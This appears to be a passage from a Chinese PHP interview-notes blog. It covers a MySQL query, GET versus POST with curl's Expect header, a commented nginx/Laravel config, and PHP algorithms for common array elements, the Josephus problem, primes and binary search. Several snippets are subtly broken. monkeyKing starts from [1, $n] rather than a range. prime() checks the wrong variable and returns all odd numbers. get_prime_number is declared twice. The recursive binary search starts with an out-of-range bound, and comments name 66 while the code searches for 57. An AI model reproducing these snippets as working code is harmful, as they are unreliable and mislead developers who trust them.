class="string">$sql=" SELECT class,</span></span><br><span class="line"><span class="string">SUM(CASE WHEN score&gt;=60 THEN 1 ELSE 0 END), SUM(CASE WHEN score&lt;60 THEN 1 ELSE 0 END)</span></span><br><span class="line"><span class="string">FROM tb1 GROUP BY class";</span></span><br><span class="line"><span class="string">if($result=Mysql_query($sql))&#123;</span></span><br><span class="line"><span class="string">     while($row=mysql_fetch_assoc($result))&#123;</span></span><br><span class="line"><span class="string">     print_r($row);</span></span><br><span class="line"><span class="string">&#125; &#125;</span></span><br><span class="line"><span class="string">Mysql_close($conn);</span></span><br></pre></td></tr></table></figure>
<h3 id="GET-与-POST-的区别"><a href="#GET-与-POST-的区别" class="headerlink" title="GET 与 POST 的区别"></a>GET 与 POST 的区别</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line">GET在浏览器回退时是无害的，而POST会再次提交请求。</span><br><span class="line">GET产生的URL地址可以被Bookmark，而POST不可以。</span><br><span class="line">GET请求会被浏览器主动cache，而POST不会，除非手动设置。</span><br><span class="line">GET请求只能进行url编码，而POST支持多种编码方式。</span><br><span class="line">GET请求参数会被完整保留在浏览器历史记录里，而POST中的参数不会被保留。</span><br><span class="line">GET请求在URL中传送的参数是有长度限制的，而POST么有。</span><br><span class="line">对参数的数据类型，GET只接受ASCII字符，而POST没有限制。</span><br><span class="line">GET比POST更不安全，因为参数直接暴露在URL上，所以不能用来传递敏感信息。</span><br><span class="line">GET参数通过URL传递，POST放在Request body中</span><br><span class="line"></span><br><span class="line">GET产生一个TCP数据包；POST产生两个TCP数据包。https:<span class="comment">//learnku.com/articles/25881</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">对于GET方式的请求，浏览器会把http header和data一并发送出去，服务器响应<span class="number">200</span>（返回数据）；</span><br><span class="line"></span><br><span class="line">而对于POST，浏览器先发送header，服务器响应<span class="number">100</span> <span class="keyword">continue</span>，浏览器再发送data，服务器响应<span class="number">200</span> ok（返回数据）。</span><br><span class="line"></span><br><span class="line">也就是说，GET只需要汽车跑一趟就把货送到了，而POST得跑两趟，第一趟，先去和服务器打个招呼“嗨，我等下要送一批货来，你们打开门迎接我”，然后再回头把货送过去。</span><br><span class="line"></span><br><span class="line">因为POST需要两步，时间上消耗的要多一点，看起来GET比POST更有效。因此Yahoo团队有推荐用GET替换POST来优化网站性能。但这是一个坑！跳入需谨慎。为什么？</span><br><span class="line"></span><br><span class="line"><span class="number">1.</span> GET与POST都有自己的语义，不能随便混用。</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> 据研究，在网络环境好的情况下，发一次包的时间和发两次包的时间差别基本可以无视。而在网络环境差的情况下，两次包的TCP在验证数据包完整性上，有非常大的优点。</span><br><span class="line"></span><br><span class="line"><span class="number">3.</span> 并不是所有浏览器都会在POST中发送两次包，Firefox就只发送一次。</span><br><span class="line"></span><br><span class="line">浏览器有没有默认发送 Expect:<span class="number">100</span>-<span class="keyword">continue</span> 的请求头就不清楚, 但是 curl 是默认会发送的. 具体的解释可以看鸟哥的博客: http:<span class="comment">//www.laruence.com/2011/01/20/1840.html</span></span><br><span class="line"></span><br><span class="line">摘抄一下重点:</span><br><span class="line"></span><br><span class="line">在使用curl做POST的时候, 当要POST的数据大于<span class="number">1024</span>字节的时候, curl并不会直接就发起POST请求, 而是会分为俩步,</span><br><span class="line"></span><br><span class="line"> <span class="number">1.</span> 发送一个请求, 包含一个Expect:<span class="number">100</span>-<span class="keyword">continue</span>, 询问Server使用愿意接受数据</span><br><span class="line"> <span class="number">2.</span> 接收到Server返回的<span class="number">100</span>-<span class="keyword">continue</span>应答以后, 才把数据POST给Server</span><br><span class="line"></span><br><span class="line">并不是所有的Server都会正确应答<span class="number">100</span>-<span class="keyword">continue</span>, 比如lighttpd, 就会返回<span class="number">417</span> “Expectation Failed”, 则会造成逻辑出错.</span><br><span class="line">因此, 在使用 curl 时可以考虑增加一步处理, 既在请求头中将 Expect 值置空. 鸟哥给出的 demo 是这样</span><br><span class="line"></span><br><span class="line">curl_setopt($ch, CURLOPT_HTTPHEADER, array(<span class="string">'Expect:'</span>));</span><br><span class="line">guzzle 的做法是:</span><br><span class="line"></span><br><span class="line"><span class="comment">// If the Expect header is not present, prevent curl from adding it</span></span><br><span class="line"><span class="keyword">if</span> (!$request-&gt;hasHeader(<span class="string">'Expect'</span>)) &#123;</span><br><span class="line">    $conf[CURLOPT_HTTPHEADER][] = <span class="string">'Expect:'</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="nginx-配置"><a href="#nginx-配置" class="headerlink" title="nginx 配置"></a>nginx 配置</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">server &#123;</span><br><span class="line">    # 监听 HTTP 协议默认的 [80] 端口。https://learnku.com/articles/25861</span><br><span class="line">    listen <span class="number">80</span>;</span><br><span class="line">    # 绑定主机名 [example.com]。</span><br><span class="line">    server_name example.com;</span><br><span class="line">    # 服务器站点根目录 [/example.com/public]。</span><br><span class="line">    root /example.com/public;</span><br><span class="line"></span><br><span class="line">    # 添加几条有关安全的响应头；与 Google+ 的配置类似，详情参见文末。</span><br><span class="line">    add_header X-Frame-Options <span class="string">"SAMEORIGIN"</span>;</span><br><span class="line">    add_header X-XSS-Protection <span class="string">"1; mode=block"</span>;</span><br><span class="line">    add_header X-Content-Type-Options <span class="string">"nosniff"</span>;</span><br><span class="line"></span><br><span class="line">    # 站点默认页面；可指定多个，将顺序查找。</span><br><span class="line">    # 例如，访问 http://example.com/ Nginx 将首先尝试「站点根目录/index.html」是否存在，不存在则继续尝试「站点根目录/index.htm」，以此类推...</span><br><span class="line">    index index.html index.htm index.php;</span><br><span class="line"></span><br><span class="line">    # 指定字符集为 UTF-8</span><br><span class="line">    charset utf<span class="number">-8</span>;</span><br><span class="line"></span><br><span class="line">    # Laravel 默认重写规则；删除将导致 Laravel 路由失效且 Nginx 响应 404。</span><br><span class="line">    location / &#123;</span><br><span class="line">        try_files $uri $uri/ <span class="regexp">/index.php?$query_string;</span></span><br><span class="line"><span class="regexp">    &#125;</span></span><br><span class="line"><span class="regexp"></span></span><br><span class="line"><span class="regexp">    # 关闭 [/favicon.ico] 和 [/robots.txt] 的访问日志。</span></span><br><span class="line"><span class="regexp">    # 并且即使它们不存在，也不写入错误日志。</span></span><br><span class="line"><span class="regexp">    location = /</span>favicon.ico &#123; access_log off; log_not_found off; &#125;</span><br><span class="line">    location = <span class="regexp">/robots.txt  &#123; access_log off; log_not_found off; &#125;</span></span><br><span class="line"><span class="regexp"></span></span><br><span class="line"><span class="regexp">    # 将 [404] 错误交给 [/index.php] 处理，表示由 Laravel 渲染美观的错误页面。</span></span><br><span class="line"><span class="regexp">    error_page 404 /i</span>ndex.php;</span><br><span class="line"></span><br><span class="line">    # URI 符合正则表达式 [\.php$] 的请求将进入此段配置</span><br><span class="line">    location ~ \.php$ &#123;</span><br><span class="line">        # 配置 FastCGI 服务地址，可以为 IP:端口，也可以为 Unix socket。</span><br><span class="line">        fastcgi_pass unix:<span class="regexp">/var/</span>run/php/php7<span class="number">.2</span>-fpm.sock;</span><br><span class="line">        # 配置 FastCGI 的主页为 index.php。</span><br><span class="line">        fastcgi_index index.php;</span><br><span class="line">        # 配置 FastCGI 参数 SCRIPT_FILENAME 为 $realpath_root$fastcgi_script_name。</span><br><span class="line">        fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;</span><br><span class="line">        # 引用更多默认的 FastCGI 参数。</span><br><span class="line">        include fastcgi_params;</span><br><span class="line">    &#125;</span><br><span class="line">    # 通俗地说，以上配置将所有 URI 以 .php 结尾的请求，全部交给 PHP-FPM 处理。</span><br><span class="line"></span><br><span class="line">    # 除符合正则表达式 [/\.(?!well-known).*] 之外的 URI，全部拒绝访问</span><br><span class="line">    # 也就是说，拒绝公开以 [.] 开头的目录，[.well-known] 除外</span><br><span class="line">    location ~ <span class="regexp">/\.(?!well-known).* &#123;</span></span><br><span class="line"><span class="regexp">        deny all;</span></span><br><span class="line"><span class="regexp">    &#125;</span></span><br><span class="line"><span class="regexp">&#125;</span></span><br></pre></td></tr></table></figure>
<p>###判断两个有序数组是否有公共元素<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// https://github.com/chunlintang/interview/blob/master/src/algorithms/common.php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">common</span>(<span class="params">$arr1, $arr2</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	$len1 = count($arr1);</span><br><span class="line">	$len2 = count($arr2);</span><br><span class="line">	$common = [];</span><br><span class="line">	$i = $j = <span class="number">0</span>;</span><br><span class="line">	<span class="keyword">while</span> ($i &lt; $len1 &amp;&amp; $j &lt; $len2) &#123;</span><br><span class="line">		<span class="keyword">if</span> ($arr1[$i] &gt; $arr2[$j]) &#123;</span><br><span class="line">			$j++;</span><br><span class="line">		&#125; elseif ($arr1[$i] &lt; $arr2[$j]) &#123;</span><br><span class="line">			$i++;</span><br><span class="line">		&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">			array_push($common, $arr1[$i]);</span><br><span class="line">			$i++;</span><br><span class="line">			$j++;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">return</span> $common;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<h3 id="猴子选大王，约瑟夫环"><a href="#猴子选大王，约瑟夫环" class="headerlink" title="猴子选大王，约瑟夫环"></a>猴子选大王，约瑟夫环</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// </span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">monkeyKing</span>(<span class="params">$n, $m</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	$arr = [<span class="number">1</span>, $n];</span><br><span class="line">	$i = <span class="number">0</span>;</span><br><span class="line">	<span class="keyword">while</span> (count($arr) &gt; <span class="number">1</span>) &#123;</span><br><span class="line">		$i++;</span><br><span class="line">		$survice = array_shift($arr);</span><br><span class="line">		<span class="keyword">if</span> ($i % $m != <span class="number">0</span>) &#123;</span><br><span class="line">			array_push($arr, $survice);</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">return</span> $arr[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="质数"><a href="#质数" class="headerlink" title="质数"></a>质数</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 质数</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">prime</span>(<span class="params">$n</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	$prime = [<span class="number">2</span>];</span><br><span class="line">	<span class="keyword">for</span> ($i = <span class="number">3</span>; $i &lt; $n; $i += <span class="number">2</span>) &#123;</span><br><span class="line">		$sqrt = intval(sqrt($i));</span><br><span class="line">		<span class="keyword">for</span> ($j = <span class="number">3</span>; $j &lt;= $sqrt; $j += <span class="number">2</span>) &#123;</span><br><span class="line">			<span class="keyword">if</span> ($i % $j == <span class="number">0</span>) &#123;</span><br><span class="line">				<span class="keyword">break</span>;</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">if</span> ($i &gt; $sqrt) &#123;</span><br><span class="line">			array_push($prime, $i);</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">return</span> $prime;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 获取所有的质数</span></span><br><span class="line"><span class="comment"> * @param array $arr</span></span><br><span class="line"><span class="comment"> * @return array</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_prime_number</span>(<span class="params">$arr = []</span>) </span>&#123;</span><br><span class="line">    <span class="comment">// 质数数组</span></span><br><span class="line">    $primeArr = [];</span><br><span class="line">    <span class="comment">// 循环所有备选数</span></span><br><span class="line">    foreach ($arr <span class="keyword">as</span> $value) &#123;</span><br><span class="line">        <span class="comment">// 备选数和备选数的中间数以下的数字整除比较</span></span><br><span class="line">        <span class="keyword">for</span> ($i = <span class="number">2</span>; $i &lt;= floor($value / <span class="number">2</span>); $i++) &#123;</span><br><span class="line">            <span class="comment">// 能够整除，则不是质数，退出循环</span></span><br><span class="line">            <span class="keyword">if</span> ($value % $i == <span class="number">0</span>) &#123;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 被除数$j比备选数的中间数大的则为质数</span></span><br><span class="line">        <span class="comment">// 这样判断的依据：</span></span><br><span class="line">        <span class="comment">// 假如备选数为质数，则内层的for循环不会break退出，则执行完毕，$i会继续+1，即最后$i = floor($value / 2) + 1</span></span><br><span class="line">        <span class="comment">// 假如备选数不为质数，则内层的for循环遇到整除就会break退出，$i不会继续+1，即最后$i &lt;= floor($value / 2)</span></span><br><span class="line">        <span class="keyword">if</span> ($value != <span class="number">1</span> &amp;&amp; $i &gt; floor($value / <span class="number">2</span>)) &#123;</span><br><span class="line">            $primeArr[] = $value;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> $primeArr;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 获取所有的质数</span></span><br><span class="line"><span class="comment"> * @param array $arr</span></span><br><span class="line"><span class="comment"> * @return array</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_prime_number</span>(<span class="params">$arr = []</span>) </span>&#123;</span><br><span class="line">    <span class="comment">// 质数数组</span></span><br><span class="line">    $primeArr = [];</span><br><span class="line">    <span class="comment">// 循环所有备选数</span></span><br><span class="line">    foreach ($arr <span class="keyword">as</span> $value) &#123;</span><br><span class="line">        <span class="comment">// 备选数和备选数的中间数以下的数字整除比较</span></span><br><span class="line">        <span class="keyword">for</span> ($i = <span class="number">2</span>; $i &lt;= floor($value / $i); $i++) &#123;</span><br><span class="line">            <span class="comment">// 能够整除，则不是质数，退出循环</span></span><br><span class="line">            <span class="keyword">if</span> ($value % $i == <span class="number">0</span>) &#123;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 被除数$j比备选数的中间数大的则为质数</span></span><br><span class="line">        <span class="comment">// 这样判断的依据：</span></span><br><span class="line">        <span class="comment">// 假如备选数为质数，则内层的for循环不会break退出，则执行完毕，$i会继续+1，即最后$i = floor($value / $i) + 1</span></span><br><span class="line">        <span class="comment">// 假如备选数不为质数，则内层的for循环遇到整除就会break退出且$i不会继续+1，即最后$i &lt;= floor($value / $i)</span></span><br><span class="line">        <span class="keyword">if</span> ($value != <span class="number">1</span> &amp;&amp; $i &gt; floor($value / $i)) &#123;</span><br><span class="line">            $primeArr[] = $value;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> $primeArr;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 获取所有的质数</span></span><br><span class="line"><span class="comment"> * @param array $arr</span></span><br><span class="line"><span class="comment"> * @return array</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_prime_number_three</span>(<span class="params">$arr = []</span>) </span>&#123;</span><br><span class="line">    <span class="comment">// 质数数组</span></span><br><span class="line">    $primeArr = $arr;</span><br><span class="line">    <span class="comment">// 循环所有备选数</span></span><br><span class="line">    foreach ($primeArr <span class="keyword">as</span> $key =&gt; $value) &#123;</span><br><span class="line">        <span class="keyword">if</span> ($value == <span class="number">1</span>) &#123;</span><br><span class="line">            unset($primeArr[$key]);</span><br><span class="line">            <span class="keyword">continue</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 备选数和备选数的中间数以下的数字整除比较</span></span><br><span class="line">        <span class="keyword">for</span> ($i = <span class="number">2</span>; $i &lt;= floor($value / $i); $i++) &#123;</span><br><span class="line">            <span class="comment">// 能够整除，则不是质数，从数组中删除且退出循环</span></span><br><span class="line">            <span class="keyword">if</span> ($value % $i == <span class="number">0</span>) &#123;</span><br><span class="line">                unset($primeArr[$key]);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 重置数组索引返回</span></span><br><span class="line">    <span class="keyword">return</span> array_values($primeArr);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 所有备选数数组</span></span><br><span class="line">$numberArr = range(<span class="number">1</span>, <span class="number">100</span>, <span class="number">1</span>);</span><br><span class="line"><span class="comment">// 获取备选数中的所有质数</span></span><br><span class="line">$primeNumberArr = get_prime_number($numberArr);</span><br><span class="line"><span class="comment">// 输出打印</span></span><br><span class="line">print_r($primeNumberArr);</span><br><span class="line"><span class="comment">// 所有备选数数组</span></span><br><span class="line">$numberArr = [<span class="number">11</span>, <span class="number">22</span>, <span class="number">33</span>, <span class="number">66</span>, <span class="number">77</span>, <span class="number">3</span>, <span class="number">8</span>, <span class="number">10</span>, <span class="number">99</span>];</span><br><span class="line"><span class="comment">// 获取备选数中的所有质数</span></span><br><span class="line">$primeNumberArr = get_prime_number($numberArr);</span><br><span class="line"><span class="comment">// 输出打印http://blog.y0701.com/2018/09/18/PHP%E7%AE%97%E6%B3%95%E4%B9%8B%E5%88%A4%E6%96%AD%E6%98%AF%E5%90%A6%E6%98%AF%E8%B4%A8%E6%95%B0/</span></span><br><span class="line">print_r($primeNumberArr);</span><br></pre></td></tr></table></figure>
<h3 id="PHP算法之二分查找"><a href="#PHP算法之二分查找" class="headerlink" title="PHP算法之二分查找"></a>PHP算法之二分查找</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 二分查找算法</span></span><br><span class="line"><span class="comment"> * @param array $arr 待查找区间</span></span><br><span class="line"><span class="comment"> * @param int $number 查找数</span></span><br><span class="line"><span class="comment"> * @return int        返回找到的键</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">binary_search</span>(<span class="params">$arr, $number</span>) </span>&#123;</span><br><span class="line">    <span class="comment">// 非数组或者数组为空，直接返回-1</span></span><br><span class="line">    <span class="keyword">if</span> (!is_array($arr) || empty($arr)) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 初始变量值</span></span><br><span class="line">    $len = count($arr);</span><br><span class="line">    $lower = <span class="number">0</span>;</span><br><span class="line">    $high = $len - <span class="number">1</span>;</span><br><span class="line">    <span class="comment">// 最低点比最高点大就退出</span></span><br><span class="line">    <span class="keyword">while</span> ($lower &lt;= $high) &#123;</span><br><span class="line">        <span class="comment">// 以中间点作为参照点比较</span></span><br><span class="line">        $middle = intval(($lower + $high) / <span class="number">2</span>);</span><br><span class="line">        <span class="keyword">if</span> ($arr[$middle] &gt; $number) &#123;</span><br><span class="line">            <span class="comment">// 查找数比参照点小，舍去右边</span></span><br><span class="line">            $high = $middle - <span class="number">1</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> ($arr[$middle] &lt; $number) &#123;</span><br><span class="line">            <span class="comment">// 查找数比参照点大，舍去左边</span></span><br><span class="line">            $lower = $middle + <span class="number">1</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// 查找数与参照点相等，则找到返回</span></span><br><span class="line">            <span class="keyword">return</span> $middle;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 未找到，返回-1</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * @param array $arr 待查找区间</span></span><br><span class="line"><span class="comment"> * @param int $number 查找数</span></span><br><span class="line"><span class="comment"> * @param int $lower 区间最低点</span></span><br><span class="line"><span class="comment"> * @param int $high 区间最高点</span></span><br><span class="line"><span class="comment"> * @return int</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">binary_search_recursion</span>(<span class="params">&amp;$arr, $number, $lower, $high</span>) </span>&#123;</span><br><span class="line">    <span class="comment">// 以区间的中间点作为参照点比较</span></span><br><span class="line">    $middle = intval(($lower + $high) / <span class="number">2</span>);</span><br><span class="line">    <span class="comment">// 最低点比最高点大就退出</span></span><br><span class="line">    <span class="keyword">if</span> ($lower &gt; $high) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ($number &gt; $arr[$middle]) &#123;</span><br><span class="line">        <span class="comment">// 查找数比参照点大，舍去左边继续查找</span></span><br><span class="line">        <span class="keyword">return</span> binary_search_recursion($arr, $number, $middle + <span class="number">1</span>, $high);</span><br><span class="line">    &#125; elseif ($number &lt; $arr[$middle]) &#123;</span><br><span class="line">        <span class="comment">// 查找数比参照点小，舍去右边继续查找</span></span><br><span class="line">        <span class="keyword">return</span> binary_search_recursion($arr, $number, $lower, $middle - <span class="number">1</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> $middle;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 待查找区间</span></span><br><span class="line">$arr = [<span class="number">1</span>, <span class="number">3</span>, <span class="number">7</span>, <span class="number">9</span>, <span class="number">11</span>, <span class="number">57</span>, <span class="number">63</span>, <span class="number">99</span>];</span><br><span class="line"><span class="comment">// 非递归查找66所在的位置</span></span><br><span class="line">$find_key = binary_search($arr, <span class="number">57</span>);</span><br><span class="line"><span class="comment">// 递归查找66所在的位置</span></span><br><span class="line">$find_key_r = binary_search_recursion($arr, <span class="number">57</span>, <span class="number">0</span>, count($arr));</span><br><span class="line"><span class="comment">// 输出打印</span></span><br><span class="line">print_r($find_key);</span><br><span class="line">print_r($find_key_r);http:<span class="comment">//blog.y0701.com/2018/09/20/PHP%E7%AE%97%E6%B3%95%E4%B9%8B%E4%BA%8C%E5%88%86%E6%9F%A5%E6%89%BE/</span></span><br></pre></td></tr></table></figure>
